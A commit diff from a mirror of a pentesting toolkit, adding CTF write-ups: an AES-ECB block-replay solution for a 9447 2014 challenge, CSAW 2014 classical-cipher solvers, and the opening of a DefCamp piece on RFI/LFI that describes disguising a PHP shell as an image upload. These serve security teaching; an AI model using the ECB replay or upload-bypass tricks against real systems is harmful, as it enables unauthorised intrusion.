mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-04-28 03:26:08 -04:00
docs: Clean up resources for Hackoctoberfest 2019 (#41)
* Clean up resources for Hackoctoberfest 2019
* 👩🏾🦱 Add cloud hacking readme
This commit is contained in:
parent
746d808fc0
commit
9ed0254149
213
CTFs_and_WarGames/2014/9447/README.md
Normal file
213
CTFs_and_WarGames/2014/9447/README.md
Normal file
@ -0,0 +1,213 @@
|
|||||||
|
# 9447's CTF 2014
|
||||||
|
|
||||||
|
## On Redis & AES Encryption
|
||||||
|
|
||||||
|
### The Client File
|
||||||
|
|
||||||
|
The first file was a script **client.py**, where, by using Python's [socket](https://docs.python.org/2/library/socket.html) library, showed how a connection to the server could be made:
|
||||||
|
|
||||||
|
```py
|
||||||
|
import os, socket, struct, sys
|
||||||
|
from Crypto.Cipher import AES
|
||||||
|
|
||||||
|
class EncryptedStream(object):
|
||||||
|
key = 'this is not the flag nor the key'[:16]
|
||||||
|
def __init__(self, host, port):
|
||||||
|
self.sock = socket.socket()
|
||||||
|
self.sock.connect((host, port))
|
||||||
|
def send(self, msg):
|
||||||
|
while len(msg) % 16:
|
||||||
|
msg += '\0'
|
||||||
|
iv = os.urandom(16)
|
||||||
|
aes = AES.new(self.key, AES.MODE_ECB, iv)
|
||||||
|
enc = aes.encrypt(msg)
|
||||||
|
self.sock.send(struct.pack('<I', len(enc)))
|
||||||
|
self.sock.send(enc)
|
||||||
|
def recv(self, nbytes):
|
||||||
|
return self.sock.recv(nbytes)
|
||||||
|
|
||||||
|
client = '''\
|
||||||
|
HELLO
|
||||||
|
SHOW VERSION
|
||||||
|
SET example This tiny script is basically a RedisStore...
|
||||||
|
GET example
|
||||||
|
SHOW KEYS
|
||||||
|
SET brucefact#1 Bruce Schneier can break elliptic curve cryptography by bending it into a circle
|
||||||
|
SET brucefact#2 Bruce Schneier always cooks his eggs scrambled. When he wants hardboiled eggs, he unscrambles them
|
||||||
|
SET brucefact#3 Bruce Schneier could solve this by inverting md5 hash of the flag
|
||||||
|
ENCRYPTION HEX
|
||||||
|
MD5 flag
|
||||||
|
'''
|
||||||
|
|
||||||
|
stream = EncryptedStream(sys.argv[1], int(sys.argv[2]))
|
||||||
|
stream.send(client)
|
||||||
|
while 1:
|
||||||
|
data = stream.recv(1000)
|
||||||
|
if not data: break
|
||||||
|
sys.stdout.write(data)
|
||||||
|
```
|
||||||
|
|
||||||
|
This client script makes [AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encrypted packets for a given host and port (the arguments), with the class **EncryptedStream**. It then sends the packets and prints out any received stream.
|
||||||
|
|
||||||
|
The snippet also shows an example of a client packet, with some request options (which we will see the response later in the network dump).
|
||||||
|
|
||||||
|
|
||||||
|
### The Server File
|
||||||
|
|
||||||
|
The second file was the **server.py** script, which is a [Redis](http://redis.io/) like a database (hence, the *nosql* title). Unlike SQL databases, Redis *maps keys to types of values*. In this challenge, the idea was to recover an entry that had the key **flag** returning the value of the flag.
|
||||||
|
|
||||||
|
In the script below, besides creating this database, functions such as: **AES decrypting** (encryption), **MD5** (hashing), and **hex** (encoding) are implemented using Python's library:
|
||||||
|
|
||||||
|
```py
|
||||||
|
import hashlib, os, signal, struct, sys
|
||||||
|
from Crypto.Cipher import AES
|
||||||
|
|
||||||
|
key = 'this is not the flag nor the key'[:16]
|
||||||
|
db = { }
|
||||||
|
|
||||||
|
def md5(data):
|
||||||
|
return hashlib.md5(data).digest()
|
||||||
|
|
||||||
|
def decrypt(data):
|
||||||
|
iv = os.urandom(16)
|
||||||
|
aes = AES.new(key, AES.MODE_ECB, iv)
|
||||||
|
data = aes.decrypt(data)
|
||||||
|
return data.rstrip('\0')
|
||||||
|
|
||||||
|
def reply_plain(message):
|
||||||
|
sys.stdout.write(message + '\n')
|
||||||
|
|
||||||
|
def reply_hex(message):
|
||||||
|
# This is totally encrypted, right?
|
||||||
|
sys.stdout.write(message.encode('hex') + '\n')
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global db
|
||||||
|
reply = reply_plain
|
||||||
|
|
||||||
|
datalen = struct.unpack('<I', sys.stdin.read(4))[0]
|
||||||
|
data = ''
|
||||||
|
while len(data) != datalen:
|
||||||
|
s = sys.stdin.read(1)
|
||||||
|
if not s:
|
||||||
|
sys.exit(1)
|
||||||
|
data += s
|
||||||
|
data = decrypt(data)
|
||||||
|
|
||||||
|
commands = data.split('\n')
|
||||||
|
|
||||||
|
for cmd in commands:
|
||||||
|
if not cmd:
|
||||||
|
continue
|
||||||
|
if ' ' in cmd:
|
||||||
|
cmd, args = cmd.split(' ', 1)
|
||||||
|
|
||||||
|
if cmd == 'HELLO':
|
||||||
|
reply('WELCOME')
|
||||||
|
elif cmd == 'SHOW':
|
||||||
|
if args == 'VERSION':
|
||||||
|
reply('NoRedisSQL v1.0')
|
||||||
|
elif args == 'KEYS':
|
||||||
|
reply(repr(db.keys()))
|
||||||
|
elif args == 'ME THE MONEY':
|
||||||
|
reply("Jerry, doesn't it make you feel good just to say that!")
|
||||||
|
else:
|
||||||
|
reply('u w0t m8')
|
||||||
|
elif cmd == 'SET':
|
||||||
|
key, value = args.split(' ', 1)
|
||||||
|
db[key] = value
|
||||||
|
reply('OK')
|
||||||
|
elif cmd == 'GET':
|
||||||
|
reply(args + ': ' + db.get(args, ''))
|
||||||
|
elif cmd == 'SNIPPET':
|
||||||
|
reply(db[args][:10] + '...')
|
||||||
|
elif cmd == 'MD5':
|
||||||
|
reply(md5(db.get(args, '')))
|
||||||
|
elif cmd == 'ENCRYPTION':
|
||||||
|
if args == 'HEX':
|
||||||
|
reply = reply_hex
|
||||||
|
reply('OK')
|
||||||
|
elif args == 'OFF':
|
||||||
|
reply = reply_plain
|
||||||
|
reply('OK')
|
||||||
|
else:
|
||||||
|
reply('u w0t m8')
|
||||||
|
else:
|
||||||
|
reply('Unknown command %r' % (cmd))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
signal.alarm(10)
|
||||||
|
signal.signal(signal.SIGALRM, lambda a,b: sys.exit(0))
|
||||||
|
main()
|
||||||
|
```
|
||||||
|
|
||||||
|
This script pretty much gives away all the requests that you can issue to inspect the database.
|
||||||
|
|
||||||
|
In addition, a crucial detail is to understand how the client encrypts the commands using the [electronic codebook (ECB)](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29) block cipher type. In this type of operation the message is divided into blocks that are encrypted separately ([PyCryptos's AES.MODE_ECB](https://www.dlitz.net/software/pycrypto/api/2.6/)).
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### The PCAP File
|
||||||
|
|
||||||
|
The last file was a **pcap** dump. When opening it with [Wireshark](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html), I verified it was really short, and the content was simply a [TCP handshake](http://www.inetdaemon.com/tutorials/internet/tcp/3-way_handshake.shtml). Right-clicking some packet and selecting *Follow TCP Stream* returned the dump of the connection suggested by the **client.py** script:
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
However, we see that the database has already an entry for flag:
|
||||||
|
|
||||||
|
```
|
||||||
|
['flag', 'example']
|
||||||
|
```
|
||||||
|
|
||||||
|
The response **4f4b** is **OK** in ASCII, meaning that the switch **ENCRYPTION HEX** was on (it's good to keep in mind that the "encryption" is actually just an encoding in hex, *i.e*, completely reversible).
|
||||||
|
|
||||||
|
Finally, our MD5 for the flag was printed as **b7133e9fe8b1abb64b72805d2d97495f**.
|
||||||
|
|
||||||
|
As it was expected, searching for this hash in the usual channels (for example [here](http://hash-killer.com/), [here](http://www.md5this.com/), or [here](http://www.hashkiller.co.uk/)) was not successful: *brute force it is not the way to go*.
|
||||||
|
|
||||||
|
|
||||||
|
### Solving the Challenge
|
||||||
|
|
||||||
|
It's pretty clear from our **server.py** script that we could craft a direct request to the server to get our flag before it is hashed to MD5. For example, if the request *GET flag*,
|
||||||
|
|
||||||
|
```py
|
||||||
|
elif cmd == 'GET':
|
||||||
|
reply(args + ': ' + db.get(args, ''))
|
||||||
|
```
|
||||||
|
|
||||||
|
is exactly like *MD5 flag*, without the hashing:
|
||||||
|
|
||||||
|
```py
|
||||||
|
elif cmd == 'MD5':
|
||||||
|
reply(md5(db.get(args, '')))
|
||||||
|
```
|
||||||
|
|
||||||
|
However, we do not have the AES key used by the server, only an example of communication given by the PCAP file. How do we get to send a **GET flag** message?
|
||||||
|
|
||||||
|
The first thing that comes to our minds is to use the network dump to replay the message, re-shaping it somehow to have a *GET flag*. Remember that the blocks have a size of 16, and we see two blocks that are particularly interesting:
|
||||||
|
|
||||||
|
```
|
||||||
|
ION HEX
|
||||||
|
MD5 flag
|
||||||
|
```
|
||||||
|
|
||||||
|
and
|
||||||
|
|
||||||
|
```
|
||||||
|
edisStore...
|
||||||
|
GET
|
||||||
|
```
|
||||||
|
|
||||||
|
Now we check how the oracle responds to several types of responses:
|
||||||
|
|
||||||
|
```
|
||||||
|
$ python client.py 54.148.249.150 4479
|
||||||
|
```
|
||||||
|
We are able to learn that if we send a **command without arguments** or an **invalid command**, the argument variables (*args*) is not overwritten: it gets the **same args value from the previous valid request**! That's wonderful!
|
||||||
|
|
||||||
|
Now the solution is clear:
|
||||||
|
|
||||||
|
1. We send the invalid command and a valid command with the argument that we will keep: ```ION HEX\nMD5 flag```.
|
||||||
|
2. We send the invalid command and command without an argument: ```edisStore...\nGET``` (this will get the last valid argument (*flag*), returning us the flag!).
|
||||||
|
|
@ -1,16 +1,6 @@
|
|||||||
Title: On Paillier, Binary Search, and the ASIS CTF 2014
|
# On Paillier, Binary Search, and the ASIS CTF 2014
|
||||||
Date: 2014-10-13 3:30
|
|
||||||
Category: Cryptography
|
|
||||||
Tags: CTF, Paillier, Python, Binary_Search, Oracle, Decimal
|
|
||||||
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
The [ASIS CTF] was last weekend. Although I ended up not playing all I wanted, I did spend some time working on a crypto challenge that was worth a lot of points in the game. The challenge was about a system I never heard about before, the [Paillier cryptosystem].
|
|
||||||
|
|
||||||
|
|
||||||
____
|
|
||||||
|
|
||||||
## The Cryptosystem
|
## The Cryptosystem
|
||||||
|
|
||||||
The challenge was started by netcating to ```nc asis-ctf.ir 12445```:
|
The challenge was started by netcating to ```nc asis-ctf.ir 12445```:
|
||||||
@ -392,11 +382,6 @@ ASIS_85c9febd4c15950ab1f19a6bd7a94f87
|
|||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Cool, right?
|
|
||||||
|
|
||||||
If you think so, all scripts I mentioned are [here].
|
|
||||||
|
|
||||||
Hack all the things!
|
|
||||||
|
|
||||||
|
|
||||||
----
|
----
|
||||||
|
@ -0,0 +1,293 @@
|
|||||||
|
# CSAW CTF 2014 - Cryptography 200 - Psifer School
|
||||||
|
|
||||||
|
|
||||||
|
The problem starts with the following text:
|
||||||
|
|
||||||
|
> There's no heartbleed here. Why don't we use these ciphers?
|
||||||
|
>
|
||||||
|
> nc 54.209.5.48 12345
|
||||||
|
>
|
||||||
|
> Written by psifertex
|
||||||
|
|
||||||
|
|
||||||
|
------
|
||||||
|
|
||||||
|
## Stage One: Caesar Cipher
|
||||||
|
|
||||||
|
|
||||||
|
#### Connecting to the Server
|
||||||
|
|
||||||
|
We start typing the **netcat** command in the terminal:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
nc 54.209.5.48 12345
|
||||||
|
```
|
||||||
|
|
||||||
|
We get the following message back:
|
||||||
|
|
||||||
|
> Welcome to psifer school v0.002
|
||||||
|
>
|
||||||
|
> Your exam begins now. You have 10 seconds, work fast.
|
||||||
|
>
|
||||||
|
> Here is your first psifer text, a famous ancient roman would be proud if you solve it.
|
||||||
|
>
|
||||||
|
> psifer text: **wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh**
|
||||||
|
>
|
||||||
|
>Time's up. Try again later.
|
||||||
|
|
||||||
|
This text gives a cipher ``` wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh``` and the hint *a famous ancient roman would be proud*. That's all we need to decipher it!
|
||||||
|
|
||||||
|
|
||||||
|
#### Frequency Analysis
|
||||||
|
The famous roman is **Caesar**, and [his cryptographic scheme] is one of the simplest possible. This cipher is also known as **rotation cipher**, because all we do is rotating the letters by some value (the **key**). A modern version of it is called **ROT13**, meaning **rotation by 13 places**. This is a simple letter substitution cipher which replaces each letter with the 13th letter after it in the alphabet. In this case, we say that the *key is 13*.
|
||||||
|
|
||||||
|
In our problem, we don't know the key. However, there is a method to circumvent it: we can count how many times each letter appears in the text and then we use some previous knowledge about the frequency of each letter in the English words. For example, in the English language, *e*, *t*, *a*, *o*, and *n* are frequent letters while *z* or *v* is not. This means that we can analyze the frequency of each character to determine what's the most probable rotation key.
|
||||||
|
|
||||||
|
To count the frequency of characters in our cipher, we write a snippet that creates a counter [dictionary (hash table)] with all the (lowercase) characters as the dictionary's keys. Note that we could have used Python's [Counter() data-structure] as well. We then iterate through each character in the message, counting their frequency, and returning a sorted list of these values:
|
||||||
|
|
||||||
|
|
||||||
|
```python
|
||||||
|
import string
|
||||||
|
|
||||||
|
def frequency(msg):
|
||||||
|
# Compute the word frequencies
|
||||||
|
dict_freq = dict([(c,0) for c in string.lowercase])
|
||||||
|
diff = 0.0
|
||||||
|
for c in msg.lower():
|
||||||
|
if 'a'<= c <= 'z':
|
||||||
|
diff += 1
|
||||||
|
dict_freq[c] += 1
|
||||||
|
list_freq = dict_freq.items()
|
||||||
|
list_freq.sort()
|
||||||
|
return [b / diff for (a, b) in list_freq]
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#### Deciphering the Cipher
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Using a [well-known table of word frequency values], we write a snippet that does the following:
|
||||||
|
|
||||||
|
1. First, for each of the 26 letters, we subtract its known frequency value from the frequency obtained from our message.
|
||||||
|
2. Second, we find what is the minimum value from those subtractions. The closest value is the most probable value for the rotation key.
|
||||||
|
|
||||||
|
|
||||||
|
```python
|
||||||
|
def delta(freq_word, freq_eng):
|
||||||
|
# zip together the value from the text and the value from FREQ
|
||||||
|
diff = 0.0
|
||||||
|
for a, b in zip(freq_word, freq_eng):
|
||||||
|
diff += abs(a - b)
|
||||||
|
return diff
|
||||||
|
|
||||||
|
def decipher(msg):
|
||||||
|
# Decipher by frequency
|
||||||
|
min_delta, best_rotation = 20, 0.0
|
||||||
|
freq = frequency(msg)
|
||||||
|
for key in range(26):
|
||||||
|
d = delta(freq[key:] + freq[:key], FREQ_ENGLISH)
|
||||||
|
if d < min_delta:
|
||||||
|
min_delta = d
|
||||||
|
best_rotation = key
|
||||||
|
return cipher(msg, -best_rotation)
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Once we have the key, we just plug it back to the cipher algorithm, inverting the rotation to the other side, with ```cipher(msg, -best_rotation)```. In this cipher function, we iterate through all the character in the message, checking whether it's a letter or a special character. If it is the former case we perform the following operations:
|
||||||
|
|
||||||
|
1. We start getting the integer representing the [Unicode] code point of the character.
|
||||||
|
2. To get its position in the alphabet and we subtract it from the Unicode value of *a*, given by **ord('a')** (this is 97).
|
||||||
|
3. We add the key value to it to get the (absolute) shift position.
|
||||||
|
4. Now we need to remember that this cipher is a ring, *i.e*, adding more stuff should always lead to a *spot* within the 26 letters in the alphabet. That's why we apply an [module] operation to this number to get the *relative* position in the letter's table.
|
||||||
|
5. Finally, we just need the value of the shift to the Unicode of *a* to get the position of the character in the cipher.
|
||||||
|
6. Remember we are using *-key*, so instead of making a new cipher, we are using the same steps to rotate the cipher to the other side to recover the message.
|
||||||
|
|
||||||
|
```python
|
||||||
|
def cipher(msg, key):
|
||||||
|
# Make the cipher
|
||||||
|
dec = ''
|
||||||
|
for c in msg.lower():
|
||||||
|
if 'a' <= c <= 'z':
|
||||||
|
dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26)
|
||||||
|
else:
|
||||||
|
dec += c
|
||||||
|
return dec
|
||||||
|
```
|
||||||
|
|
||||||
|
Bingo! The snippets above lead us to our first answer in this problem:
|
||||||
|
|
||||||
|
> the answer to this stage is **supersimple**
|
||||||
|
|
||||||
|
Netcating several times can return other similar answers such as **hopeyouautomate** or **easypeesy** or **notveryhard**. They are all correct.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#### Automating the Response
|
||||||
|
|
||||||
|
To advance forward, we need to send one of the above answers to the socket. However, we only **have 10 seconds** to do this! It's clear that we need to automate this problem with a script.
|
||||||
|
|
||||||
|
We can do this in many ways. In Python, for example, we can use the libraries [telnetlib] or [socket] or even writing our [own netcat script]. We will use the former for this exploit. Let us create a telnet connection with:
|
||||||
|
|
||||||
|
```python
|
||||||
|
from telnetlib import Telnet
|
||||||
|
|
||||||
|
PORT = 12345
|
||||||
|
HOST = '54.209.5.48'
|
||||||
|
|
||||||
|
tn = Telnet(HOST ,PORT)
|
||||||
|
```
|
||||||
|
|
||||||
|
In this case, socket reading can be done with ```tn.read_until(b'psifer text: ')```, which reads until a given string is encountered, or ```tn.read_all()```, which reads all data until EOF.
|
||||||
|
|
||||||
|
To write a string to the socket we do ```tn.write(mystring.encode() + b'\n')```. Here, the method [encode()] returns an encoded version of the string, *i.e* a translation of a sequence of bytes to a Unicode string.
|
||||||
|
|
||||||
|
|
||||||
|
As a side note, if we had decided to use the [socket] library to create a *TCP socket*, the process would be easy as well:
|
||||||
|
|
||||||
|
```python
|
||||||
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
|
s.connect(HOST)
|
||||||
|
```
|
||||||
|
|
||||||
|
Here ```socket.AF_UNIX, socket.AF_INET, socket.AF_INET6``` are constants that represent the address (and protocol) families. The constants ```socket.SOCK_STREAM, socket.SOCK_DGRAM, socket.SOCK_RAW, socket.SOCK_RDM, socket.SOCK_SEQPACKET```represent the socket types.
|
||||||
|
|
||||||
|
To read the socket stream we would use commands such as ```s.recv(2048)``` and for writing, we could use ```s.sendall(answer)```.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#### Decrypting and Sending the Answer
|
||||||
|
Now, back to our problem. After creating the telnet connection, we read whatever comes in:
|
||||||
|
```python
|
||||||
|
tn.read_until(b'psifer text: ')
|
||||||
|
```
|
||||||
|
|
||||||
|
We decode and decrypt the text, and then encode it again:
|
||||||
|
```python
|
||||||
|
msg_in1 = tn.read_until(b'\n').decode().strip()
|
||||||
|
dec_msg_in1 = decipher(msg_in1)
|
||||||
|
answer1 = dec_msg_in1.split()[-1].encode() + b'\n'
|
||||||
|
```
|
||||||
|
|
||||||
|
Finally, we send our answer to the telnet session (the same answer obtained before):
|
||||||
|
```python
|
||||||
|
tn.write(answer1)
|
||||||
|
```
|
||||||
|
|
||||||
|
-----------------------------------------
|
||||||
|
|
||||||
|
## Stage Two: Offset with Special Characters
|
||||||
|
|
||||||
|
The second stage starts with the following message:
|
||||||
|
|
||||||
|
|
||||||
|
> Congratulations, you have solved stage 1. You have 9 seconds left.
|
||||||
|
>
|
||||||
|
> Now it's time for something slightly more difficult. Hint, everybody knows it's
|
||||||
|
> not length that matters.
|
||||||
|
|
||||||
|
Together with the hint *length doesn't matter*, we get the following cipher (translated as a Python string variable because of the special characters):
|
||||||
|
|
||||||
|
```I'lcslraooh o rga tehhywvf.retFtelh mao ae af ostloh lusr bTsfnr, epawlltddaheoo aneviedr ose rtyyng etn aini ft oooey hgbifecmoswuut!oa eeg ar rr h.u t. hylcg io we ph ftooriysneirdriIa utyco gfl oostif sp u"+'""'+"flcnb roh tprn.o h```
|
||||||
|
|
||||||
|
|
||||||
|
To crack this cipher we need to deal with special characters to find the rotation shift. We proceed with the following steps:
|
||||||
|
|
||||||
|
1. We start looping over the length of our message, where for each iteration we create a blank list with the size of the message. This is a bit *space-expensive* and it should be optimized if we needed to scale for larger problems. It's fine for our current problem.
|
||||||
|
|
||||||
|
2. We start a second loop, which will tell us about the shifts. This loop iterates again in the length of the message, this time adding the current character to the list we've created before and updated a pointer to the pacing value given in the first loop. Notice that we have a loop inside another, so this solution has *O(n^2) runtime* and it also should be optimized for larger problems.
|
||||||
|
|
||||||
|
3. Inside this second loop, we check whether the pacing pointer is larger than the length of the message, and if this is the case, we register it in a shift counter. The former pointer receives the value of this shift. This is the end of the second loop.
|
||||||
|
|
||||||
|
4. Back to the first loop, we add all the characters so far from our list into the message string. But when should we stop doing this? Until we make sure that had a rotation that produces real words. I tried a few common words, and 'you' worked just fine!
|
||||||
|
|
||||||
|
|
||||||
|
```python
|
||||||
|
def solve2(msg):
|
||||||
|
# Shift cypher, but dealing with special characters
|
||||||
|
for j in range(2, len(msg)):
|
||||||
|
|
||||||
|
dec_msg = ['0'] * len(msg)
|
||||||
|
idec_msg, shift = 0, 0
|
||||||
|
|
||||||
|
for i in range(len(msg)):
|
||||||
|
dec_msg[idec_msg] = msg[i]
|
||||||
|
idec_msg += j
|
||||||
|
|
||||||
|
if idec_msg > len(msg) - 1:
|
||||||
|
shift += 1
|
||||||
|
idec_msg = shift
|
||||||
|
dec_msg = "".join(dec_msg)
|
||||||
|
|
||||||
|
if "you" not in dec_msg: continue
|
||||||
|
return dec_msg
|
||||||
|
```
|
||||||
|
|
||||||
|
After decoding this stage's cipher we get the key for the next stage, which is then sent back through the socket:
|
||||||
|
|
||||||
|
> I hope you don't have a problem with this challenge. It should be fairly straight forward if you have done lots of basic crypto. The magic phrase for your efforts is "**not not wrong**". For your efforts, you will get another challenge!
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
## Stage Three: Vigenere Cipher
|
||||||
|
|
||||||
|
The next message lets us know that we are close to the end:
|
||||||
|
|
||||||
|
> Congratulations, you have solved stage 2. You have 9 seconds left.
|
||||||
|
> Last one.
|
||||||
|
|
||||||
|
And comes with the following cipher:
|
||||||
|
```
|
||||||
|
MVJJN BQXKF NCEPZ WWVSH YFCSV JEEBB UVRMX HKPIE PMMVZ FOPME ZQIIU EUZZW CGHMV BKBTZ BBHVR MVTQP ENXRM HIRNB WTGDZ CFEDS TKBBW HBFDI KILCM MUUPX WUNIN PWPFJ IEZTP MVQBX ACVKN AEMPV KQXAB ZMDUD ILISV NHKBJ FCIMW HTUVR MNNGU KIFED STLLX XAOUN YVEGV BEXEI BHJNI GHXFI FQFYV VXZFE FXFFH OBVXR MVNLT NHUYY FEZWD GBKEL SGFLM LXBFO NEIOS MZHML XAJUX EIKWH YNAIK SOFLF EEKPI XLSDB PNGHV XHFON MSFOL VMNVX HIRNB XBGTF FOEUZ FZMAS NZEGL HFTPM PDNWM DVKCG WHAFE OKWXF ZIBRQ XCSJI FIMVJ EAFEK MIRXT PBHUC YEEFP MZNMP XZBDV EMMHM VFTQU ABISA EWOMZ NMPXZ BDVPL HGFWF XISSX RMPLB HFRML RHKJU IGXPO OKNHQ TYFKB BWAOS UYKXA OOZNG IXRTK IUIBT ZFOOI LCMMY WEECU FZLMF DMVWK CIHPT BTPES OXYLC HIQII UEUZZ RFKIT RZYUO IMVFT IWITB ENCEP UFFVT XVBUI KNAVH IHYCM MYWUY YETLA PJNHJ MVFGF TMGHF ONBWL HBKCV EMSBT BHJMV FCYOI EGJDH HXTAB JIVLB GUKBX JNBOP NAMGU JJNAE MRFGY GHBBH FHPLB QIIUG HHALV SRSNU FKNAE MDPVG FMZVU SYXBT QUCSM LXFJX BMSYT TVNMS LIDTY LWY
|
||||||
|
```
|
||||||
|
|
||||||
|
This is a **[Vigenere Cipher]**, which is basically several Caesar ciphers in sequence, with different shift values, given by a key-word. Finding these shifts when we don't know the key can be done by writing the alphabet 26 times in different rows. In this case, each alphabet is shifted cyclically to the left compared to the previous alphabet (26 Caesar ciphers).
|
||||||
|
|
||||||
|
Although we could use some [online Vigenere cracker] to extract the flag from this text, we will instead write a code. We use Python's library [pygenere], which has the methods ```crack_message()``` to decipher the message and ```crack_codeword()``` to find the key (useful because we don't have the key). We then send our cipher to the following function:
|
||||||
|
|
||||||
|
```python
|
||||||
|
def solve3(msg):
|
||||||
|
key = VigCrack(msg).crack_codeword()
|
||||||
|
dec_msg = VigCrack(msg).crack_message()
|
||||||
|
dec_msg = dec_msg.replace(" ", "")
|
||||||
|
return key, dec_msg
|
||||||
|
```
|
||||||
|
|
||||||
|
This will give us the **key = TOBRUTE** and the deciphered text. After fixing the spaces between the words, we get:
|
||||||
|
|
||||||
|
```
|
||||||
|
THIS TIME WE WILL GIVE YOU MORE PLAINTEXT TO WORK WITH YOU WILL PROBABLY FIND THAT HAVING EXTRA CONTENT THAT IS ASCII MAKES THIS ONE MORE SOLVABLE IT WOULD BE SOLVABLE WITHOUT THAT BUT WE WILL MAKE SURE TO GIVE LOTS OF TEXT JUST TO MAKE SURE THAT WE CAN HANDLE IT I WONDER HOW MUCH WILL BE REQUIRED LETS PUT THE MAGIC PHRASE FOR THE NEXT LEVEL IN THE MIDDLE RIGHT HERE NORMALWORD OK NOW MORE TEXT TO MAKE SURE THAT IT IS SOLVABLE I SHOULD PROBABLY JUST PUT IN SOME NURSERY RHYME OR SOMETHING MARY HADA LITTLE LAMB LITTLE LAMB LITTLE LAMB MARY HADA LITTLE LAMB WHOSE FLEEZE WAS WHITE AS SNOW I DONT WANT TO MAKE THIS HARDER THAN IT NEEDS TO BE IF YOU VE SOLVED A LOT OF SIMPLE CRYPTO CHALLENGES YOU PROBABLY ALREADY HAVE THE CODE AND WILL BREEZE RIGHT THROUGH IT IF IT HELPS MOST OF THE PLAINTEXT IS STATIC AT EACH OF THE LEVELS I M NOT A MASOCHIST THE FUNNY THING IS THAT DEPENDING ON WHICH RANDOMKEY YOU GET THAT POEM MIGHT BE EXACTLY THE RIGHT OFFSET TO SUCCESSFULLY MOUNT AN ATTACK WE LL SEE LITTLE BIT MORE LITTLE BIT MORE THERE,
|
||||||
|
```
|
||||||
|
Reading it carefully give us the last answer for the flag: **NORMALWORD**. Sweet!
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Final Words
|
||||||
|
|
||||||
|
If you like this solution, take a look at my [exploit for this problem].
|
||||||
|
|
||||||
|
**Hack all the things!**
|
||||||
|
|
||||||
|
[his cryptographic scheme]: http://en.wikipedia.org/wiki/Caesar_cipher
|
||||||
|
[exploit for this problem]: https://github.com/bt3gl/CTFs-Gray-Hacker-and-PenTesting/tree/master/CTFs_and_WarGames/2014-CSAW-CTF/cryptography/crypto-200
|
||||||
|
[scripts from other authors]:https://github.com/bt3gl/CTFs-and-Hacking-Scripts-and-Tutorials/tree/master/2014-CSAW-CTF/cryptography/crypto-200/from_the_net
|
||||||
|
[well-known table of word frequency values]: http://en.wikipedia.org/wiki/Letter_frequency
|
||||||
|
[telnetlib]: https://docs.python.org/2/library/telnetlib.html
|
||||||
|
[socket]: https://docs.python.org/2/library/socket.html
|
||||||
|
[own netcat script]: https://github.com/bt3gl/CTFs-and-Hacking-Scripts-and-Tutorials/blob/master/Tutorials/Useful_Scripts/netcat.py
|
||||||
|
[pygenere]: http://smurfoncrack.com/pygenere/pygenere.php
|
||||||
|
[Vigenere Cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
|
||||||
|
[online Vigenere cracker]: http://smurfoncrack.com/pygenere/
|
||||||
|
[dictionary (hash table)]: https://docs.python.org/2/tutorial/datastructures.html#dictionaries
|
||||||
|
[Counter() data-structure]: https://docs.python.org/2/library/collections.html#collections.Counter
|
||||||
|
[ord()]: https://docs.python.org/2/library/functions.html#ord
|
||||||
|
[module]: http://en.wikipedia.org/wiki/Modulo_operation
|
||||||
|
[Unicode]: http://en.wikipedia.org/wiki/Unicode
|
||||||
|
[encode()]: https://docs.python.org/2/library/stdtypes.html#str.encode
|
File diff suppressed because it is too large
Load Diff
@ -1,7 +1,6 @@
|
|||||||
#Networking-100: Big Data
|
# Networking-100: Big Data
|
||||||
|
|
||||||
|
|
||||||
This is the only networking problem, and it is only 100 points, so it turned out to be very easy.
|
|
||||||
|
|
||||||
The problem starts with the following text:
|
The problem starts with the following text:
|
||||||
|
|
||||||
|
@ -126,9 +126,7 @@ while True:
|
|||||||
# flag{trust_is_risky}
|
# flag{trust_is_risky}
|
||||||
```
|
```
|
||||||
|
|
||||||
Yaaay! The flag is **trust_is_risky**! Easy!
|
The flag is **trust_is_risky**! Easy!
|
||||||
|
|
||||||
**Hack all the things!**
|
|
||||||
|
|
||||||
|
|
||||||
[uncompyle2]: https://github.com/gstarnberger/uncompyle
|
[uncompyle2]: https://github.com/gstarnberger/uncompyle
|
||||||
|
381
CTFs_and_WarGames/2014/DefCamp/README.md
Normal file
381
CTFs_and_WarGames/2014/DefCamp/README.md
Normal file
@ -0,0 +1,381 @@
|
|||||||
|
# Exploring D-CTF Quals 2014's Exploits
|
||||||
|
|
||||||
|
## Vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Remote File Inclusion and Local File Inclusion Vulnerabilities
|
||||||
|
|
||||||
|
In [Remote File Inclusion] (RFI) an attacker can load exploits to the server. An attacker can use RFI to run exploits in both server and client sides. PHP's [include()](http://php.net/manual/en/function.include.php) is extremely vulnerable to RFI attacks.
|
||||||
|
|
||||||
|
|
||||||
|
[Local File Inclusion](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) (LFI) is similar to RFI but only files that are currently in the server can be included. This type of vulnerability is seemed in forms for file uploading (with improper sanitation).
|
||||||
|
|
||||||
|
An example of RFI exploitation is the case where the form only accepts some type of extensions (such as JPG or PNG) but the verification is made in the client side. In this case, an attacker can tamper the HTTP requests to send shellcode (with PHP extension, for example). I've shown examples of this attack in the [Natas post]. There I've explained that the trick was to rename a PHP shell code to one of these safe extensions.
